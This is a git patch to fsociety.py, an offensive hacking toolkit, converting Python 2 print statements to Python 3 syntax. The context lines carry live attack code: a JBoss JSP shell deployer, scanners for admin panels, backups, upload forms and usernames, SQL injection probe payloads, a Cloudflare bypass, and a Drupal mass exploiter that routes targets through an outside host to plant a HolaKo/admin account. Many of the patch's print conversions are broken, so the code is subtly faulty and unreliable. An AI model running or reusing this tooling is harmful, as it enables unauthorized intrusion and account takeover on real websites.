From 3c3e087e6576ac15a533306425a43b17b2b00896 Mon Sep 17 00:00:00 2001 From: besala <148736523+besala@users.noreply.github.com> Date: Thu, 14 Dec 2023 03:51:27 +0400 Subject: [PATCH] Update fsociety.py --- fsociety.py | 157 ++++++++++++++++++++++++++-------------------------- 1 file changed, 79 insertions(+), 78 deletions(-) diff --git a/fsociety.py b/fsociety.py index 56f6573..ec7258d 100644 --- a/fsociety.py +++ b/fsociety.py @@ -143,7 +143,7 @@ class fsociety: def __init__(self): clearScr() self.createFolders() - print (fsocietylogo + color.RED + ''' + print(fsocietylogo + color.RED + ''' }--------------{+} Coded By Manisso {+}--------------{ }--------{+} GitHub.com/Manisso/fsociety {+}--------{ ''' + color.END + ''' @@ -1075,7 +1075,7 @@ def bsqlbf(): def atscan(): - print ("Do You To Install ATSCAN ?") + print("Do You To Install ATSCAN ?") if yesOrNo(): os.system("rm -rf ATSCAN") os.system( @@ -1085,8 +1085,8 @@ def atscan(): def commix(): - print ("Automated All-in-One OS Command Injection and Exploitation Tool.") - print ("usage: python commix.py --help") + print("Automated All-in-One OS Command Injection and Exploitation Tool.") + print("usage: python commix.py --help") if yesOrNo(): os.system( "git clone --depth=1 https://github.com/stasinopoulos/commix.git commix") @@ -1130,11 +1130,11 @@ def insinurl(): def jboss(): clearScr() - print ("This JBoss script deploys a JSP shell on the target JBoss AS server. Once") - print ("deployed, the script uses its upload and command execution capability to") - print ("provide an interactive session.") - print ("") - print ("usage: ./e.sh target_ip tcp_port ") + print("This JBoss script deploys a JSP shell on the target JBoss AS server. Once") + print("deployed, the script uses its upload and command execution capability to") + print("provide an interactive session.") + print("") + print("usage: ./e.sh target_ip tcp_port ") print("Continue: y/n") if yesOrNo(): os.system( @@ -1178,7 +1178,7 @@ def main(): def sqlmap(): - print ("usage: python sqlmap.py -h") + print("usage: python sqlmap.py -h") if yesOrNo(): os.system( "git clone --depth=1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev & ") @@ -1191,9 +1191,9 @@ def grabuploadedlink(url): for dir in directories: currentcode = urllib.urlopen(url + dir).getcode() if currentcode == 200 or currentcode == 403: - print "-------------------------" - print " [ + ] Found Directory: " + str(url + dir) + " [ + ]" - print "-------------------------" + print("-------------------------") + print(" [ + ] Found Directory: ") + str(url + dir) + " [ + ]" + print("-------------------------") upload.append(url + dir) except: pass @@ -1205,10 +1205,10 @@ def grabshell(url): for shell in shells: currentcode = urllib.urlopen(upl + shell).getcode() if currentcode == 200: - print "-------------------------" - print " [ ! ] Found Shell: " + \ + print("-------------------------") + print(" [ ! ] Found Shell: ") + \ str(upl + shell) + " [ ! ]" - print "-------------------------" + print("-------------------------") except: pass @@ -1294,7 +1294,7 @@ def gravity(): sites = bing_all_grabber(str(ip)) gravityforms = check_gravityforms(sites) for ss in gravityforms: - print ss + print(ss) print('\n') print('[*] Found, ', len(gravityforms), ' gravityforms.') @@ -1370,7 +1370,7 @@ class Fscan: def __init__(self, serverip): self.serverip = serverip self.getSites(False) - print menuu + print(menuu) while True: choice = raw_input(fsocietyPrompt) if choice == '1': @@ -1405,7 +1405,7 @@ def __init__(self, serverip): exit() else: clearScr() - print menuu + print(menuu) def getSites(self, a): ''' @@ -1439,7 +1439,7 @@ def getSites(self, a): clearScr() print('[*] Found ', len(lista), ' Website\n') for site in self.sites: - print site + print(site) def getWordpress(self): ''' @@ -1468,7 +1468,7 @@ def getWordpress(self): clearScr() print('[*] Found ', len(lista), ' Wordpress Website\n') for site in lista: - print site + print(site) def getJoomla(self): ''' @@ -1493,7 +1493,7 @@ def getJoomla(self): clearScr() print('[*] Found ' + len(lista) + ' Joomla Website\n') for site in lista: - print site + print(site) ############################ # find admin panels @@ -1503,7 +1503,7 @@ def findPanels(self): the attacker may do a lot of vulnerability tests on the admin area ''' - print "[~] Finding admin panels" + print("[~] Finding admin panels") adminList = ['admin/', 'site/admin', 'admin.php/', 'up/admin/', 'central/admin/', 'whm/admin/', 'whmcs/admin/', 'support/admin/', 'upload/admin/', 'video/admin/', 'shop/admin/', 'shoping/admin/', 'wp-admin/', 'wp/wp-admin/', 'blog/wp-admin/', 'admincp/', 'admincp.php/', 'vb/admincp/', 'forum/admincp/', 'up/admincp/', 'administrator/', 'administrator.php/', 'joomla/administrator/', 'jm/administrator/', 'site/administrator/', 'install/', 'vb/install/', 'dimcp/', 'clientes/', 'admin_cp/', 'login/', 'login.php', 'site/login', 'site/login.php', 'up/login/', 'up/login.php', 'cp.php', 'up/cp', 'cp', 'master', 'adm', 'member', 'control', 'webmaster', 'myadmin', 'admin_cp', 'admin_site'] clearScr() @@ -1511,7 +1511,7 @@ def findPanels(self): for admin in adminList: try: if urllib.urlopen(site + admin).getcode() == 200: - print " [*] Found admin panel -> ", site + admin + print(" [*] Found admin panel -> "), site + admin except IOError: pass ############################ @@ -1525,12 +1525,12 @@ def findZip(self): zipList = ['backup.tar.gz', 'backup/backup.tar.gz', 'backup/backup.zip', 'vb/backup.zip', 'site/backup.zip', 'backup.zip', 'backup.rar', 'backup.sql', 'vb/vb.zip', 'vb.zip', 'vb.sql', 'vb.rar', 'vb1.zip', 'vb2.zip', 'vbb.zip', 'vb3.zip', 'upload.zip', 'up/upload.zip', 'joomla.zip', 'joomla.rar', 'joomla.sql', 'wordpress.zip', 'wp/wordpress.zip', 'blog/wordpress.zip', 'wordpress.rar'] clearScr() - print "[~] Finding zip file" + print("[~] Finding zip file") for site in self.sites: for zip1 in zipList: try: if urllib.urlopen(site + zip1).getcode() == 200: - print " [*] Found zip file -> ", site + zip1 + print(" [*] Found zip file -> "), site + zip1 except IOError: pass @@ -1543,7 +1543,7 @@ def findUp(self): upList = ['up.php', 'up1.php', 'up/up.php', 'site/up.php', 'vb/up.php', 'forum/up.php', 'blog/up.php', 'upload.php', 'upload1.php', 'upload2.php', 'vb/upload.php', 'forum/upload.php', 'blog/upload.php', 'site/upload.php', 'download.php'] clearScr() - print "[~] Finding Upload" + print("[~] Finding Upload") for site in self.sites: for up in upList: try: @@ -1551,7 +1551,7 @@ def findUp(self): html = urllib.urlopen(site + up).readlines() for line in html: if re.findall('type=file', line): - print " [*] Found upload -> ", site + up + print(" [*] Found upload -> "), site + up except IOError: pass @@ -1564,7 +1564,7 @@ def getUsers(self): (you can use medusa or hydra) ''' clearScr() - print "[~] Grabbing Users" + print("[~] Grabbing Users") userslist = [] for site1 in self.sites: try: @@ -1579,11 +1579,11 @@ def getUsers(self): resp = urllib2.urlopen( site1 + '/cgi-sys/guestbook.cgi?user=%s' % site).read() if 'invalid username' not in resp.lower(): - print '\t [*] Found -> ', site + print('\t [*] Found -> '), site userslist.append(site) break else: - print site + print(site) site = site[:-1] except: @@ -1591,7 +1591,7 @@ def getUsers(self): clearScr() for user in userslist: - print user + print(user) def cloudflareBypasser(self): ''' @@ -1600,7 +1600,7 @@ def cloudflareBypasser(self): method from a guy in madleets ''' clearScr() - print "[~] Bypassing cloudflare" + print("[~] Bypassing cloudflare") subdoms = ['mail', 'webmail', 'ftp', 'direct', 'cpanel'] for site in self.sites: site.replace('http://', '') @@ -1611,11 +1611,11 @@ def cloudflareBypasser(self): pass for sub in subdoms: doo = sub + '.' + site - print ' [~] Trying -> ', doo + print(' [~] Trying -> '), doo try: ddd = socket.gethostbyname(doo) if ddd != ip: - print ' [*] Cloudflare bypassed -> ', ddd + print(' [*] Cloudflare bypassed -> '), ddd break except socket.error: pass @@ -1630,7 +1630,7 @@ def getServerBanner(self): try: s = 'http://' + self.serverip httpresponse = urllib.urlopen(s) - print ' [*] Server header -> ', httpresponse.headers.getheader( + print(' [*] Server header -> '), httpresponse.headers.getheader( 'server') except: print('[*] Server header -> Not Found') @@ -1667,7 +1667,7 @@ def checkSqli(self, s): tool in my blog ''' clearScr() - print "[~] Checking SQL injection" + print("[~] Checking SQL injection") payloads = ["3'", "3%5c", "3%27%22%28%29", "3'><", "3%22%5C%27%5C%22%29%3B%7C%5D%2A%7B%250d%250a%3C%2500%3E%25bf%2527%27"] check = re.compile( @@ -1682,7 +1682,7 @@ def checkSqli(self, s): for line in html: checker = re.findall(check, line) if len(checker) != 0: - print ' [*] SQLi found -> ', power + print(' [*] SQLi found -> '), power except: pass @@ -1693,7 +1693,7 @@ def portScanner(self, mode, ran): or with common ports (al-swisre idea) ''' clearScr() - print "[~] Scanning Ports" + print("[~] Scanning Ports") if mode == 1: a = ran.split('-') @@ -1711,7 +1711,7 @@ def do_it(ip, port): sock = sock.connect_ex((ip, port)) if sock == 0: - print " [*] Port %i is open" % port + print(" [*] Port %i is open") % port ############################ @@ -1744,22 +1744,22 @@ def drupal(): urlpa = urlparse(url) site = urlpa.netloc - print "[+] Testing At " + site + print("[+] Testing At ") + site resp = urllib2.urlopen( 'http://crig-alda.ro/wp-admin/css/index2.php?url=' + site + '&submit=submit') read = resp.read() if "User: HolaKo" in read: - print "Exploit found =>" + site + print("Exploit found =>") + site - print "user:HolaKo\npass:admin" + print("user:HolaKo\npass:admin") a = open('up.txt', 'a') a.write(site + '\n') a.write("user:" + user + "\npass:" + pwd + "\n") else: - print "[-] Expl Not Found:( " + print("[-] Expl Not Found:( ") except Exception as ex: - print ex + print(ex) sys.exit(0) # Drupal Server ExtraCtor @@ -1783,7 +1783,7 @@ def getdrupal(): split = urlparse(url) site = split.netloc if site not in sites: - print site + print(site) sites.append(site) # Drupal Mass List Exploiter @@ -1800,21 +1800,21 @@ def drupallist(): 'http://crig-alda.ro/wp-admin/css/index2.php?url=' + url + '&submit=submit') readcontent = openurl.read() if "Success" in readcontent: - print "[+]Success =>" + url - print "[-]username:HolaKo\n[-]password:admin" + print("[+]Success =>") + url + print("[-]username:HolaKo\n[-]password:admin") save = open('drupal.txt', 'a') save.write( url + "\n" + "[-]username:HolaKo\n[-]password:admin\n") else: - print i + "=> exploit not found " + print(i) + "=> exploit not found " except Exception as ex: - print ex + print(ex) def maine(): - print minu + print(minu) choose = raw_input("choose a number: ") while True: @@ -1896,15 +1896,15 @@ def wppjmla(): wordpress = check_wordpress(sites) joomla = check_joomla(sites) for ss in wordpress: - print ss - print '[+] Found ! ', len(wordpress), ' Wordpress Websites' - print '-' * 30 + '\n' + print(ss) + print('[+] Found ! '), len(wordpress), ' Wordpress Websites' + print('-') * 30 + '\n' for ss in joomla: - print ss + print(ss) - print '[+] Found ! ', len(joomla), ' Joomla Websites' + print('[+] Found ! '), len(joomla), ' Joomla Websites' - print '\n' + print('\n') # initialise the fscan function ############################ @@ -1912,8 +1912,8 @@ def wppjmla(): def grabsqli(ip): try: - print color.OKBLUE + "Check_Uplaod... " - print '\n' + print(color.OKBLUE) + "Check_Uplaod... " + print('\n') page = 1 while page <= 21: @@ -1927,7 +1927,7 @@ def grabsqli(ip): try: response = urllib2.urlopen(i).read() checksqli(i) - except urllib2.HTTPError, e: + except urllib2.HTTPError as e: str(sites).strip(i) page = page + 10 @@ -2062,32 +2062,32 @@ def wpminiscanner(): wpeasyupload = check_wpeasyupload(sites) wpsymposium = check_wpsymposium(sites) for ss in wordpress: - print ss - print '[*] Found, ', len(wordpress), ' wordpress sites.' - print '-' * 30 + '\n' + print(ss) + print('[*] Found, '), len(wordpress), ' wordpress sites.' + print('-') * 30 + '\n' for ss in wpstorethemeremotefileupload: - print ss - print '[*] Found, ', len( + print(ss) + print('[*] Found, '), len( wpstorethemeremotefileupload), ' wp_storethemeremotefileupload exploit.' - print '-' * 30 + '\n' + print('-' * 30 + '\n') for ss in wpcontactcreativeform: - print ss - print '[*] Found, ', len(wpcontactcreativeform), ' wp_contactcreativeform exploit.' - print '-' * 30 + '\n' + print(ss) + print('[*] Found, '), len(wpcontactcreativeform), ' wp_contactcreativeform exploit.' + print('-' * 30 + '\n') for ss in wplazyseoplugin: - print ss - print '[*] Found, ', len(wplazyseoplugin), ' wp_lazyseoplugin exploit.' - print '-' * 30 + '\n' + print(ss) + print('[*] Found, '), len(wplazyseoplugin), ' wp_lazyseoplugin exploit.' + print('-') * 30 + '\n' for ss in wpeasyupload: - print ss - print '[*] Found, ', len(wpeasyupload), ' wp_easyupload exploit.' - print '-' * 30 + '\n' + print(ss) + print('[*] Found, '), len(wpeasyupload), ' wp_easyupload exploit.' + print('-') * 30 + '\n' for ss in wpsymposium: - print ss + print(ss) - print '[*] Found, ', len(wpsymposium), ' wp_sympsiup exploit.' + print('[*] Found, '), len(wpsymposium), ' wp_sympsiup exploit.' - print '\n' + print('\n') ############################ @@ -2098,3 +2098,4 @@ def wpminiscanner(): except KeyboardInterrupt: print(" Finishing up...\n") time.sleep(0.25) +